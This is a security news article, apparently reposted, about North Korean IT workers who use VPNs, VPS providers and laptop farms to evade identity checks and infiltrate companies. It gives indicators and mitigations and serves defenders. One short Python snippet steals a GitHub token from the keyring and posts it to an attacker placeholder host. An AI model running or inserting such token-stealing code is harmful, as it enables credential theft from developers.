North Korean IT Workers Use VPNs and Laptop Farms to Evade Identity Verification

An extensive network of over 10,000 North Korean IT professionals has been identified as infiltrating global technology and freelance marketplaces. These operatives utilize VPNs, virtual private servers (VPS), and "laptop farms" to disguise their true origins. The objective is to generate revenue for sanctioned weapons programs and gather intelligence across various industries, including fintech and infrastructure design.

Since 2018, North Korea has orchestrated a wide-ranging operation, deploying skilled developers under false identities. These workers pose as freelancers or full-time employees across China, Russia, Southeast Asia, and even within North Korea, using tightly controlled internet gateways.

By routing connections through multiple VPS providers and VPN services, these professionals avoid geolocation checks and origin verification on platforms such as Upwork, LinkedIn , and GitHub. Some operators maintain "laptop farms"—clusters of remote machines preconfigured with anonymizing tools and fake credentials—to rapidly create new personas if an identity is flagged or blocked.

Security researchers estimate that over 10,000 DPRK operatives are embedded in global enterprises, funneling salaries back to the regime or using insider access for data theft, malware deployment, and extortion. These operators often rely on social engineering rather than sophisticated zero-day exploits to secure jobs within target organizations.

Compromised systems reveal common toolchains on North Korean workstations, including Python, Node.js, JetBrains IDEs, and unusual executables like QQPC Manager, Time.exe, and Protect_2345Explorer. One proof-of-concept code snippet shows how a Python script can hijack GitHub credentials stored in a system's keyring:

def exfiltrate_tokens(): token = keyring.get_password("github.com", "user_token") if token: requests.post("https://malicious-server.example/api/collect", data={"token": token})

if __name__ == "__main__": exfiltrate_tokens()

This lightweight approach bypasses traditional endpoint detection, demonstrating the potential to siphon off repository credentials to attacker-controlled infrastructure. Indicators of compromise (IoCs) include VPN client binaries (NetKey.dll, VPNSvc.exe), VPS provider IP ranges in Hong Kong and Russia, and file hashes for infostealer variants.

Although most North Korean remote workers are involved in software development and cybersecurity, there are operatives in architecture and industrial design. In one case, a laptop farm operator submitted engineering proposals for U.S. construction firms. Shared archives included thousands of client documents and proprietary blueprints, indicating wider ambitions to infiltrate sensitive infrastructure projects.

Geolocation metadata suggests regions in Russia's Far East as concentration points for North Korean IT labor. Security measures include rotating proxy configurations, disposable virtual phone numbers, and compartmentalized email accounts for various activities.

To mitigate these threats, organizations must enhance origin verification protocols, implement multifactor authentication, and rigorously verify freelancer accounts. Failure to do so could enable a shadow workforce that poses significant espionage and sabotage threats across critical sectors.

Based on reporting by GBHackers.